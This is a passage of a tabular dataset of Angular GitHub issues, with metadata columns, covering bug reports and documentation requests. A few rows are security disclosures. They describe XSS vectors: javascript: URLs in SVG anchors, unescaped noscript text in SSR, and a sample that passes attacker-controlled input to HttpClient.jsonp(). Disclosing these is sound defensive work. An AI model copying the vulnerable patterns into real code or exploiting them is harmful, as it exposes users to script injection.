typescriptimport { APP_INITIALIZER, ApplicationConfig, ErrorHandler, provideZoneChangeDetection } from '@angular/core... [TRUNCATED]","needs reproduction,area: server,gemini-triaged",2026-05-28 14:17:37+00:00,2026-05-30 20:21:46+00:00,2,"needs reproduction,area: server,gemini-triaged",2.2529,wkwebview ios safari crash a problem repeatedly occurred on angular ssr application loading boot which angular package s are the source of the bug don t known other is this a regression no description we are running a production angular application with server side rendering ssr and client hydration enabled it works flawlessly across most desktop and android browsers however on a subset of iphone devices specifically running within an ios app s embedded wkwebview facebook browser and occasionally on standalone ios safari the application crashes immediately upon loading the browser completely stops executing and shows the default ios error page observed behavior the server rendered page is successfully retrieved and renders briefly for a fraction of a second as soon as the client bundle loads bootstraps and begins hydration initialization the entire webview browser engine crashes the crash is not tied to one specific page it happens both on the homepage after login and on static routes like forgot password console logging via remote debugging safari web inspector is extremely difficult to capture because the browser engine crashes completely before logs can be flushed sanitized project configuration and code to help diagnose here is our boot and runtime setup angular application configuration app config ts we use standalone api with provideclienthydration and routing configurations typescriptimport app initializer applicationconfig errorhandler providezonechangedetection from angular core truncated,bug,-0.9244
angular/angular,4541038448,Infinite change detection silently hangs the app instead of throwing NG0103,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

With a zone-based change detection, this loops change detection indefinitely:

```ts
@Component({
  selector: 'app-child',
  template: `<p>Numbers: {{ numbers() }}</p>`,
})
export class Child {
  numbers = input.required<number[]>();

  constructor() {
    effect(() => {
      console.log(this.numbers());
      // Async tick
      setTimeout(() => {});
    });
  }
}

@Component({
  selector: 'app-root',
  imports: [Child],
  template: `<app-child [numbers]=""numbersBiggerThan2"" />`,
})
export class App {
  private numbers = [0, 1, 2, 3, 4, 5];

  // New array reference on every read
  get numbersBiggerThan2(): number[] {
    return this.numbers.filter((n) => n > 2);
  }
}
```

Such a bug is quite hard to debug, in bigger apps it can cause a browser tab to hang. It'd be great if this could be detected during the compilation or on a dev server. NG0103 error seems related.

### Minimal reproduction repo:

https://github.com/lukasmatta/angular-cd-infinite-loop

Version:
```true
Angular: 21.2.14
```
","area: core,gemini-triaged",2026-05-28 14:06:13+00:00,2026-05-28 14:29:55+00:00,1,"area: core,gemini-triaged",0.0165,infinite change detection silently hangs the app instead of throwing ng which angular package s are the source of the bug core is this a regression no description with a zone based change detection this loops change detection indefinitely such a bug is quite hard to debug in bigger apps it can cause a browser tab to hang it d be great if this could be detected during the compilation or on a dev server ng error seems related repo version,others,-0.8357
angular/angular,4538859063,Defs tags inside svg are stripped after updating to Angular v20.3.22,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

No

### Description

After updating my application to the latest v20 version (v20.3.22). I see that the icons inside my application are not rendered correctly anymore.

While debugging I see that the style tag inside <defs> are gone.

This is the actual svg that is implemented in my application's code:

```html
<svg xmlns=""http://www.w3.org/2000/svg"" viewBox=""0 0 16 16"">
    <g transform=""matrix(0.6666666666666666,0,0,0.6666666666666666,0,0)"">
      <defs>
        <style>
          .a {
            fill: none;
            stroke: currentColor;
            stroke-linecap: round;
            stroke-linejoin: round;
          }
        </style>
      </defs>
      <rect class=""a"" x=""0.5"" y=""2.501"" width=""23"" height=""21"" rx=""1"" ry=""1""></rect>
      <line class=""a"" x1=""5.5"" y1=""0.501"" x2=""5.5"" y2=""5.501""></line>
      <line class=""a"" x1=""18.5"" y1=""0.501"" x2=""18.5"" y2=""5.501""></line>
      <line class=""a"" x1=""0.5"" y1=""7.501"" x2=""23.5"" y2=""7.501""></line>
    </g>
  </svg>
```


When viewing the elements inside my devtools I see this:

```html
<svg _ngcontent-ng-c796660766="""" xmlns=""http://www.w3.org/2000/svg"" viewBox=""0 0 16 16"">
    <g _ngcontent-ng-c796660766="""" transform=""matrix(0.6666666666666666,0,0,0.6666666666666666,0,0)"">
        <defs _ngcontent-ng-c796660766=""""></defs>
        <rect _ngcontent-ng-c796660766="""" x=""0.5"" y=""2.501"" width=""23"" height=""21"" rx=""1"" ry=""1""
            c... [TRUNCATED]","regression,area: security,state: has PR",2026-05-28 08:19:09+00:00,2026-05-28 12:02:49+00:00,0,"regression,area: security,state: has PR",0.1553,defs tags inside svg are stripped after updating to angular v which angular package s are the source of the bug compiler is this a regression no description after updating my application to the latest v version v i see that the icons inside my application are not rendered correctly anymore while debugging i see that the style tag inside are gone this is the actual svg that is implemented in my application s code when viewing the elements inside my devtools i see this html rect ngcontent ng c x y width height rx ry c truncated,bug,-0.6369
angular/angular,4538654034,Angular DevTools: add angular-scan for automatically detects and highlights Angular components that are re-rendering,"### Description

angular-scan: automatically detects and highlights Angular components that are re-rendering
https://www.npmjs.com/package/angular-scan

[Live DEMO](https://husseinabdelaziz.github.io/angular-scan/)
<img src=""https://raw.githubusercontent.com/husseinAbdElaziz/angular-scan/main/projects/angular-scan/demo.gif"">

### Proposed solution

Add [angular-scan](https://www.npmjs.com/package/angular-scan) into [DevTools](https://chromewebstore.google.com/detail/angular-devtools/ienfalfjdbdpebioblfackkekamfmbnh)","area: devtools,gemini-triaged",2026-05-28 07:44:15+00:00,2026-05-28 23:42:19+00:00,0,"area: devtools,gemini-triaged",0.6653,angular devtools add angular scan for automatically detects and highlights angular components that are re rendering description angular scan automatically detects and highlights angular components that are re rendering live demo img src proposed solution add angular scan into devtools,others,0.3182
angular/angular,4532197811,move WebCMP from navigator to document API,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

From the Built-in AI Early Preview Program:

To align with the fact that tools are effectively per-Document, the WebML CG agreed to move the modelContext getter from the Navigator interface to the Document interface. You can find the full technical details in [Issue 173](https://github.com/webmachinelearning/webmcp/issues/173) and [PR #184](https://github.com/webmachinelearning/webmcp/pull/184).


navigator.modelContext is now deprecated as of [Chrome 150.0.7861.0](https://chromiumdash.appspot.com/commit/4ff73984e9e60c6117066dea1806879e40c107e2) and will be removed in a future Chrome release.
Use document.modelContext instead.


### Proposed solution

Recommandations:

We (the Built-in AI Early Preview Program) suggest using the feature detection pattern shown below to maintain compatibility and ensure a smooth transition over the coming releases. For practical examples, see how we updated our WebMCP demos in [PR #189](https://github.com/GoogleChromeLabs/webmcp-tools/pull/189/changes).

```
const modelContext = document.modelContext || navigator.modelContext;

if (modelContext) {

  // Register tools...

}
```

### Alternatives considered

No","area: core,gemini-triaged",2026-05-27 12:12:42+00:00,2026-06-01 16:49:08+00:00,0,"area: core,gemini-triaged",5.192,move webcmp from navigator to document api which angular package s are relevant related to the feature request core description from the built in ai early preview program to align with the fact that tools are effectively per document the webml cg agreed to move the modelcontext getter from the navigator interface to the document interface you can find the full technical details in issue and pr navigator modelcontext is now deprecated as of chrome and will be removed in a future chrome release use document modelcontext instead proposed solution recommandations we the built in ai early preview program suggest using the feature detection pattern shown below to maintain compatibility and ensure a smooth transition over the coming releases for practical examples see how we updated our webmcp demos in pr alternatives considered no,documentation,0.7717
angular/angular,4519624348,Security regression: SVG <a [attr.href]> skips URL sanitizer in 22.0.0-rc.1 (@next) and main HEAD,"### Which @angular/* package(s) are the source of the bug?

compiler, core

### Is this a regression?

Yes

### Description

## TLDR

After the namespace-aware schema lookup refactor on `main` (commits `cef4a095`, `61a97f22`, `933608c0`), the security schema lookup for `<svg><a [attr.href]>` returns `SecurityContext.NONE` instead of `SecurityContext.URL`. The compiler emits `ɵɵattribute(""href"", value)` **without** the `ɵɵsanitizeUrl` wrap. Same template on `22.0.0-rc.0` emitted the sanitizer correctly.

**As of 2026-05-25 the bug is present in `@angular/compiler@22.0.0-rc.1` published on npm with the `@next` dist-tag** — confirmed by fresh empirical compile (witness below). Anyone running `npm install @angular/compiler@next` is exposed.

End result on a built app : a `<svg><a [attr.href]=""userHref"">` binding accepts a `javascript:` URL verbatim and writes it to the DOM `href` attribute. A user click navigates to the `javascript:` URL → script execution in the app's origin → XSS in modern Chrome.

This is the same class of bug that CVE-2025-66412 closed for MathML `<mi href>`, re-introduced for SVG anchors by the schema rework.

## Affected commits

| SHA | Title |
|---|---|
| `cef4a095` | refactor(core): align namespaced attribute validation and security schema contexts |
| `61a97f22` | fix(core): support prefix-insensitive DOM schema lookups |
| `933608c0` | fix(core): synchronize core sanitization schema with compiler |

After the refactor, `calcPossibleSecurityContexts` pr... [TRUNCATED]","regression,security,state: has PR",2026-05-25 21:28:21+00:00,2026-05-27 20:41:09+00:00,2,"regression,security,state: has PR",1.9672,security regression svg skips url sanitizer in rc next and main head which angular package s are the source of the bug compiler core is this a regression yes description tldr after the namespace aware schema lookup refactor on commits the security schema lookup for returns instead of the compiler emits without the wrap same template on emitted the sanitizer correctly as of the bug is present in published on npm with the dist tag confirmed by fresh empirical compile witness below anyone running is exposed end result on a built app a binding accepts a url verbatim and writes it to the dom attribute a user click navigates to the url script execution in the app s origin xss in modern chrome this is the same class of bug that cve closed for mathml re introduced for svg anchors by the schema rework affected commits sha title refactor core align namespaced attribute validation and security schema contexts fix core support prefix insensitive dom schema lookups fix core synchronize core sanitization schema with compiler after the refactor pr truncated,bug,0.8225
angular/angular,4519080128,"docs: ""Best Practices > Accessibility"" missing mention of Angular Aria","### Describe the problem that you experienced

The ""Best Practices > Accessibility"" page is missing a mention of Angular Aria. 

### Enter the URL of the topic with the problem

https://next.angular.dev/best-practices/a11y

### Describe what you were looking for in the documentation

I would assume with the package going stable that there would be a mention in that page.

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

Some reference to the Angular Aria package and its documentation is warranted on this greater Accessibility page. That said, there is a lot of ways this could be handled on that page, otherwise I would make a PR.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-05-25 19:22:32+00:00,2026-06-01 16:33:32+00:00,0,nan,6.8826,docs best practices accessibility missing mention of angular aria describe the problem that you experienced the best practices accessibility page is missing a mention of angular aria enter the url of the topic with the problem describe what you were looking for in the documentation i would assume with the package going stable that there would be a mention in that page describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem some reference to the angular aria package and its documentation is warranted on this greater accessibility page that said there is a lot of ways this could be handled on that page otherwise i would make a pr add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.5307
angular/angular,4515043088,CdkConnectedOverlay,"### Describe the problem that you experienced

https://angular.dev/api/cdk/overlay/CdkConnectedOverlay  page not found  

where is this page ??

### Enter the URL of the topic with the problem

https://angular.dev/api/cdk/overlay/CdkConnectedOverlay

### Describe what you were looking for in the documentation

 page not found

### Describe the actions that led you to experience the problem

Positioning
link
The multiselect pattern integrates with [CDK Overlay](https://angular.dev/api/cdk/overlay/CdkConnectedOverlay) for smart positioning. Use cdkConnectedOverlay to handle viewport edges and scrolling automatically.

ingear we cick the   [CDK Overlay](https://angular.dev/api/cdk/overlay/CdkConnectedOverlay)   thare is no page thair 

<img width=""1223"" height=""343"" alt=""Image"" src=""https://github.com/user-attachments/assets/1e5613bf-98ca-4c9a-bab7-40f442519c20"" />
<img width=""1084"" height=""290"" alt=""Image"" src=""https://github.com/user-attachments/assets/7032cc55-33e0-4e5c-a8e6-ff360abb24f5"" />

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","area: docs-infra,gemini-triaged",2026-05-25 07:13:44+00:00,2026-05-27 17:48:42+00:00,0,"area: docs-infra,gemini-triaged",2.4409,cdkconnectedoverlay describe the problem that you experienced page not found where is this page enter the url of the topic with the problem describe what you were looking for in the documentation page not found describe the actions that led you to experience the problem positioning link the multiselect pattern integrates with cdk overlay for smart positioning use cdkconnectedoverlay to handle viewport edges and scrolling automatically ingear we cick the cdk overlay thare is no page thair describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.93
angular/angular,4513963494,confirm the support timeline for Angular v21—specifically when it enters LTS,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Hi Angular team, could you confirm the support timeline for Angular v21—specifically when it enters LTS (if applicable) according to the current Angular support policy? Any link to the official schedule would be appreciated.


### Proposed solution

confirm the support timeline for Angular v21—specifically when it enters LTS

### Alternatives considered

confirm the support timeline for Angular v21—specifically when it enters LTS","area: docs,gemini-triaged",2026-05-25 03:08:35+00:00,2026-05-25 09:52:35+00:00,2,"area: docs,gemini-triaged",0.2806,confirm the support timeline for angular v specifically when it enters lts which angular package s are relevant related to the feature request no response description hi angular team could you confirm the support timeline for angular v specifically when it enters lts if applicable according to the current angular support policy any link to the official schedule would be appreciated proposed solution confirm the support timeline for angular v specifically when it enters lts alternatives considered confirm the support timeline for angular v specifically when it enters lts,documentation,0.9758
angular/angular,4509714173,`<noscript>` text serialization in Angular SSR,"### Which @angular/* package(s) are the source of the bug?

platform-server/domino

### Is this a regression?

No

### Description

When Angular SSR (`@angular/platform-server`, which uses `@angular/domino`) renders text inside a `<noscript>` element via `{{ value }}` or `[textContent]`, the value is written to the SSR response **without escaping**.

If the value contains `</noscript>`, the noscript element closes early in the HTML sent to the browser, and any markup after it  including `<script>` is parsed and executed normally, same-origin.

Text bindings (`{{ }}`, `[textContent]`) are assumed safe by developers. They are not safe inside `<noscript>` under SSR.

","security,area: security",2026-05-23 21:57:00+00:00,2026-05-26 15:28:46+00:00,0,"security,area: security",2.7304,text serialization in angular ssr which angular package s are the source of the bug platform server domino is this a regression no description when angular ssr which uses renders text inside a element via or the value is written to the ssr response without escaping if the value contains the noscript element closes early in the html sent to the browser and any markup after it including is parsed and executed normally same origin text bindings are assumed safe by developers they are not safe inside under ssr,others,0.643
angular/angular,4503508879,Consider adding explicit imports for effect() in Signals docs,"### Describe the problem that you experienced

Hi Angular team,

I noticed that in the Signals documentation, examples using `effect()` don't explicitly show the import source (for example `import { effect } from '@angular/core'`).

Example page:
https://angular.dev/guide/signals/effect#effects

While the concise snippets are nice, it may be slightly harder for newer developers to immediately identify which package exports `effect`, especially when learning Signals for the first time.

Would the team be open to a small docs improvement PR that either:

* adds explicit imports in the first example on the page, or
* includes a short note mentioning that `effect`, `signal`, and `computed` come from `@angular/core`?

Happy to contribute if this aligns with the docs direction. Thanks!


### Enter the URL of the topic with the problem

https://angular.dev/guide/signals/effect#effects

### Describe what you were looking for in the documentation

I was looking for the package/module import source for `effect()` while learning Angular Signals. The examples show usage of `effect()` directly, but not where it is imported from (for example `@angular/core`).


### Describe the actions that led you to experience the problem

1. Opened the Angular Signals Effects documentation page.
2. Read the examples using `effect()`.
3. Tried to identify the import source/package for `effect()`.
4. Noticed the examples did not include an import statement or mention that `effect` comes from `@angular/cor... [TRUNCATED]","state: has PR,area: docs,gemini-triaged",2026-05-22 14:47:25+00:00,2026-05-27 18:08:51+00:00,2,"state: has PR,area: docs,gemini-triaged",5.1399,consider adding explicit imports for effect in signals docs describe the problem that you experienced hi angular team i noticed that in the signals documentation examples using don t explicitly show the import source for example example page while the concise snippets are nice it may be slightly harder for newer developers to immediately identify which package exports especially when learning signals for the first time would the team be open to a small docs improvement pr that either adds explicit imports in the first example on the page or includes a short note mentioning that and come from happy to contribute if this aligns with the docs direction thanks enter the url of the topic with the problem describe what you were looking for in the documentation i was looking for the package module import source for while learning angular signals the examples show usage of directly but not where it is imported from for example describe the actions that led you to experience the problem opened the angular signals effects documentation page read the examples using tried to identify the import source package for noticed the examples did not include an import statement or mention that comes from angular cor truncated,documentation,-0.0129
angular/angular,4491805743,Automatic lock bot message says “issue” on Pull Requests,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

I noticed that when inactive pull requests are automatically locked by the Angular lock bot, the generated message says:

``This issue has been automatically locked due to inactivity``

However, the conversation is actually a Pull Request, not an issue.

This may cause minor confusion for contributors. The message could be updated to distinguish between issues and pull requests.

### Proposed solution

Update the automated message template to reflect the type of conversation:

For issues:

``This issue has been automatically locked due to inactivity.``

For pull requests:

``This pull request has been automatically locked due to inactivity.``

This would make the automated message more accurate and less confusing for contributors.

### Alternatives considered

Currently, there is no alternative except leaving the message as-is, which can confuse contributors who receive the bot message on a pull request.

See the comment done by bot under my merged PR:

<img width=""1151"" height=""971"" alt=""Image"" src=""https://github.com/user-attachments/assets/247ab9d4-7841-4b9c-be81-c415cd51230f"" />

---

This is just a suggestion for the community. I do not have access to the bot code, as it is not open source, so I cannot fix this myself.","area: dev-infra,gemini-triaged",2026-05-21 04:43:51+00:00,2026-05-21 09:43:40+00:00,1,"area: dev-infra,gemini-triaged",0.2082,automatic lock bot message says issue on pull requests which angular package s are relevant related to the feature request no response description i noticed that when inactive pull requests are automatically locked by the angular lock bot the generated message says this issue has been automatically locked due to inactivity however the conversation is actually a pull request not an issue this may cause minor confusion for contributors the message could be updated to distinguish between issues and pull requests proposed solution update the automated message template to reflect the type of conversation for issues this issue has been automatically locked due to inactivity for pull requests this pull request has been automatically locked due to inactivity this would make the automated message more accurate and less confusing for contributors alternatives considered currently there is no alternative except leaving the message as is which can confuse contributors who receive the bot message on a pull request see the comment done by bot under my merged pr this is just a suggestion for the community i do not have access to the bot code as it is not open source so i cannot fix this myself,bug,-0.8017
angular/angular,4489221098,Unvalidated JSONP Resource URL in Angular `HttpClient`,"### Which @angular/* package(s) are the source of the bug?

common/http

### Is this a regression?

No

### Description


`HttpClient.jsonp()` accepts a caller-provided URL and loads it as a JSONP script resource.

If an application enables JSONP support and passes attacker-controlled input directly into `http.jsonp()`, for example from the current page URL:

```ts
const jsonpUrl = new URL(location.href).searchParams.get('jsonpUrl');
this.http.jsonp(jsonpUrl!, 'callback').subscribe();
```

then a crafted link can cause the browser to execute an attacker-controlled JSONP resource in the Angular application context.

For example, if `jsonpUrl` is a `data:text/javascript,...` resource, the loaded script executes before invoking Angular’s generated JSONP callback.

Angular should reject or restrict unsafe JSONP resource URLs before creating the script element. At minimum, non-HTTP(S) protocols such as `data:`, `blob:`, `javascript:`, `file:`, and `filesystem:` should not be accepted as JSONP script resources.


### Please provide a link to a minimal reproduction of the bug
 
This issue was previously reported to the Google VRP. The original PoV and discussion can be seen here, if accessible: https://issuetracker.google.com/u/1/issues/510947871

### Anything else?

If we consider Angular's model, which is secure by default, I believe it shouldn't allow it unless we explicitly want to perform a bypass.","security,area: common/http",2026-05-20 19:12:18+00:00,2026-06-05 22:09:39+00:00,0,"security,area: common/http",16.1232,unvalidated jsonp resource url in angular which angular package s are the source of the bug common http is this a regression no description accepts a caller provided url and loads it as a jsonp script resource if an application enables jsonp support and passes attacker controlled input directly into for example from the current page url then a crafted link can cause the browser to execute an attacker controlled jsonp resource in the angular application context for example if is a resource the loaded script executes before invoking angular s generated jsonp callback angular should reject or restrict unsafe jsonp resource urls before creating the script element at minimum non http s protocols such as and should not be accepted as jsonp script resources please provide a link to a of the bug this issue was previously reported to the google vrp the original pov and discussion can be seen here if accessible anything else if we consider angular s model which is secure by default i believe it shouldn t allow it unless we explicitly want to perform a bypass,others,-0.8081
angular/angular,4488847780,Building an error-free webpage with Angular conforming to the w3c standard,"### Which @angular/* package(s) are the source of the bug?

elements

### Is this a regression?

No

### Description

Perform the link provided below. Do you hate standards?

### Please provide a link to a minimal reproduction of the bug

https://validator.w3.org/nu/?doc=https%3A%2F%2Fangular.dev%2F

### Please provide the exception or error you saw

```true
323 errors as result
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","area: docs-infra,gemini-triaged",2026-05-20 18:12:39+00:00,2026-05-20 18:17:59+00:00,0,"area: docs-infra,gemini-triaged",0.0037,building an error free webpage with angular conforming to the w c standard which angular package s are the source of the bug elements is this a regression no description perform the link provided below do you hate standards please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,bug,-0.9169
angular/angular,4487874242,"Angular service worker bypasses explicit redirect: 'error', leaks authenticated content into JavaScript, and replays it after logout","### Which @angular/* package(s) are the source of the bug?

service-worker

### Is this a regression?

Yes

### Description

@josephperrott, from Google VRP:

“You would need to convince the Angular team that there is a security impact significant enough, e.g. to warrant a security advisory, for us to consider a reward in OSS VRP.”

As I have stated previously, and as you yourself are aware since both you and I are credited on this critical severity finding, https://github.com/advisories/GHSA-x288-3778-4hhx, VRP triage can be extremely dismissive. I went back and forth with VRP for over a month on that critical severity finding. They told me it had no security impact until it was brought here, and then things finally moved along.

This time around, I submitted a security-relevant fix, https://github.com/angular/angular/pull/67494, which was merged by the Angular team. But I am still seeing the same dismissive approach. I am completely done with Google OSS VRP after this, but I should still be paid for the work I have already done.

The fix I mentioned was accepted by your team and merged into your repo. Google OSS VRP is now adding extra conditions to avoid payout.

I am posting here because I am hoping to get some support from your team. I provided a fix that was merged into the Angular repo. Hopefully that counts for something. And again, I believe that work should be paid for, especially since the fix was security-relevant.


### Please provide a link to a minimal reproduc... [TRUNCATED]","area: service-worker,gemini-triaged",2026-05-20 15:42:43+00:00,2026-05-20 15:46:50+00:00,11,"area: service-worker,gemini-triaged",0.0029,angular service worker bypasses explicit redirect error leaks authenticated content into javascript and replays it after logout which angular package s are the source of the bug service worker is this a regression yes description josephperrott from google vrp you would need to convince the angular team that there is a security impact significant enough e g to warrant a security advisory for us to consider a reward in oss vrp as i have stated previously and as you yourself are aware since both you and i are credited on this critical severity finding vrp triage can be extremely dismissive i went back and forth with vrp for over a month on that critical severity finding they told me it had no security impact until it was brought here and then things finally moved along this time around i submitted a security relevant fix which was merged by the angular team but i am still seeing the same dismissive approach i am completely done with google oss vrp after this but i should still be paid for the work i have already done the fix i mentioned was accepted by your team and merged into your repo google oss vrp is now adding extra conditions to avoid payout i am posting here because i am hoping to get some support from your team i provided a fix that was merged into the angular repo hopefully that counts for something and again i believe that work should be paid for especially since the fix was security relevant please provide a link to a minimal reproduc truncated,bug,0.9848
angular/angular,4486050957,Child EnvironmentInjector is not destroyed with parent application,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When an `EnvironmentInjector` is created with `createEnvironmentInjector(providers, application.injector)`, calling `application.destroy()` does not destroy that child injector.

This is surprising because services provided by the child injector can use `DestroyRef.onDestroy()` for cleanup, but those callbacks never run unless the child injector is destroyed manually.

This can leave async work such as timers, polling, backend requests, or delayed callbacks alive after the application is destroyed. Later, that async logic may attempt to inject dependencies from the already-destroyed application/root injector and receiving NG0205 error.

```typescript
import {createEnvironmentInjector, provideZonelessChangeDetection} from '@angular/core';
import {createApplication} from '@angular/platform-browser';

it(`should destroy environment injector`, async () => {
    const application = await createApplication({
        providers: [provideZonelessChangeDetection()],
    });

    const injector = createEnvironmentInjector([], application.injector);

    application.destroy();

    expect(injector.destroyed).toBe(true); // actually false
});
```


### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Child injector is not destroyed
```

### Please provide the environment you discovered this bu... [TRUNCATED]","area: core,gemini-triaged",2026-05-20 11:42:01+00:00,2026-05-20 13:07:01+00:00,7,"area: core,gemini-triaged",0.059,child environmentinjector is not destroyed with parent application which angular package s are the source of the bug core is this a regression no description when an is created with calling does not destroy that child injector this is surprising because services provided by the child injector can use for cleanup but those callbacks never run unless the child injector is destroyed manually this can leave async work such as timers polling backend requests or delayed callbacks alive after the application is destroyed later that async logic may attempt to inject dependencies from the already destroyed application root injector and receiving ng error please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bu truncated,others,0.7442
angular/angular,4484352837,formControl.pacthValue inside a reactive context causes tracking of all signals read by value/validity change subscriber,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

Like #67073 but for `patchValue`, `patchValue` should also behave like `setValue` inside a reactive context.


### Please provide the environment you discovered this bug in (run `ng version`)

```true
     _                      _                 ____ _     ___
    / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|
   / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |
  / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |
 /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|
                |___/


Angular CLI       : 21.2.9
Angular           : 21.2.11
Node.js           : 24.13.1
Package Manager   : pnpm 11.1.2
Operating System  : darwin arm64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular/animations               │ 21.2.11           │ ^21.2.11          │
│ @angular/build                    │ 21.2.9            │ ^21.2.9           │
│ @angular/cdk                      │ 21.2.9            │ ^21.2.9           │
│ @angular/cli                      │ 21.2.9            │ ^21.2.9           │
│ @angular/common                   │ 21.2.11           │ ^21.2.11          │
│ @angular/compiler                 │ 21.2.11           │ ^21.2.11          │
│... [TRUNCATED]","area: forms,gemini-triaged",2026-05-20 07:54:19+00:00,2026-05-20 09:27:10+00:00,1,"area: forms,gemini-triaged",0.0645,formcontrol pacthvalue inside a reactive context causes tracking of all signals read by value validity change subscriber which angular package s are the source of the bug forms is this a regression yes description like but for should also behave like inside a reactive context please provide the environment you discovered this bug in run true angular cli angular node js package manager pnpm darwin arm package installed version requested version angular animations angular build angular cdk angular cli angular common angular compiler truncated,others,0.802
angular/angular,4479437403,"DeferBlockBehavior.Manual still registers IntersectionObserver for @defer (on viewport), breaking JSDOM tests","### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When testing a component that contains `@defer (on viewport)` with `TestBed.configureTestingModule({ deferBlockBehavior: DeferBlockBehavior.Manual })`, Angular still attempts to register an `IntersectionObserver` against the placeholder element via an `afterRender` hook. In environments where `IntersectionObserver` is not defined (e.g. Jest + JSDOM, which is the most common Angular unit-test setup), this throws `ReferenceError: IntersectionObserver is not defined`.

The error is swallowed by Angular's `ErrorHandler` so tests still pass, but every component creation logs a full stack trace to stderr, polluting test output (e.g. 2 errors per defer block × number of `beforeEach` runs).

This contradicts what the official testing guide implies. https://angular.dev/guide/templates/defer#testing-defer-blocks documents the manual API (`fixture.getDeferBlocks()` + `block.render(DeferBlockState.Complete)`) without mentioning that callers must polyfill `IntersectionObserver` to use it in JSDOM. The pattern only works cleanly today because users either (a) have a polyfill in their setup, (b) never look at stderr, or (c) write only trivial repros that don't exercise the placeholder path enough to notice.

### Root cause

`ɵɵdeferOnViewport` (and the other `ɵɵdeferOn*` instructions) unconditionally calls `registerDomTrigger`, which schedules `pollDomTrigger` via `afterEveryRen... [TRUNCATED]","area: testing,state: has PR,gemini-triaged",2026-05-19 17:09:50+00:00,2026-05-27 17:54:02+00:00,0,"area: testing,state: has PR,gemini-triaged",8.0307,deferblockbehavior manual still registers intersectionobserver for defer on viewport breaking jsdom tests which angular package s are the source of the bug core is this a regression no description when testing a component that contains with angular still attempts to register an against the placeholder element via an hook in environments where is not defined e g jest jsdom which is the most common angular unit test setup this throws the error is swallowed by angular s so tests still pass but every component creation logs a full stack trace to stderr polluting test output e g errors per defer block number of runs this contradicts what the official testing guide implies documents the manual api without mentioning that callers must polyfill to use it in jsdom the pattern only works cleanly today because users either a have a polyfill in their setup b never look at stderr or c write only trivial repros that don t exercise the placeholder path enough to notice root cause and the other instructions unconditionally calls which schedules via aftereveryren truncated,others,-0.9395
angular/angular,4478903486,DevTools crashes on null-prototype objects (e.g. Object.groupBy results),"### Is this a bug report or a feature request?

- [x] Bug Report
- [ ] Feature Request

### Please provide the steps to reproduce the issue [Bug Report only]

1. Create a minimal Angular 21 app with a component that exposes a public field returning a null-prototype object. The simplest trigger is Object.groupBy, which always returns a null-prototype object by spec:

```typescript
import { Component, computed } from '@angular/core';

   @Component({
     selector: 'app-root',
     template: '<p>hi</p>',
   })
   export class AppComponent {
     readonly groupedEmpty = computed(() => Object.groupBy([], () => ''));
   }
```

2. Run the app in development mode (ng serve).
3. Open Chrome DevTools and switch to the Angular tab.

The field must be public for the DevTools property walker to descend into it. The same crash occurs with Map.groupBy() or any value created via Object.create(null).

### Please provide the expected behavior vs the actual behavior you encountered [Bug Report only]

Expected: The Angular DevTools panel loads and displays the component tree, allowing the component's properties to be inspected. Null-prototype objects should be formatted as plain objects (e.g. {...} or {}), the same as any other object.

Actual: The DevTools backend throws an uncaught TypeError and the Angular panel fails to load. The entire inspector becomes unusable for the affected app until the offending field is removed or wrapped to attach Object.prototype.

The root cause is in the proper... [TRUNCATED]","area: devtools,gemini-triaged",2026-05-19 15:55:40+00:00,2026-05-27 17:53:35+00:00,0,"area: devtools,gemini-triaged",8.0819,devtools crashes on null prototype objects e g object groupby results x bug report feature request please provide the the issue bug report only create a minimal angular app with a component that exposes a public field returning a null prototype object the simplest trigger is object groupby which always returns a null prototype object by spec run the app in development mode ng serve open chrome devtools and switch to the angular tab the field must be public for the devtools property walker to descend into it the same crash occurs with map groupby or any value created via object create null please provide the vs the you encountered bug report only expected the angular devtools panel loads and displays the component tree allowing the component s properties to be inspected null prototype objects should be formatted as plain objects e g or the same as any other object actual the devtools backend throws an uncaught typeerror and the angular panel fails to load the entire inspector becomes unusable for the affected app until the offending field is removed or wrapped to attach object prototype the root cause is in the proper truncated,bug,-0.875
angular/angular,4478451447,animate.leave is ignored on descendant nodes,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

[This example](https://angular.dev/guide/animations#element-removal-order) suggests that animate.leave can be applied to any node, and Angular will ensure that the animation will play before the node is removed.

However, even in the example this is not the case - `.leave-container` disappears without any animation.

This problem can also be reproduced in [playground](https://angular.dev/playground).

### Please provide a link to a minimal reproduction of the bug

https://angular.dev/guide/animations#element-removal-order

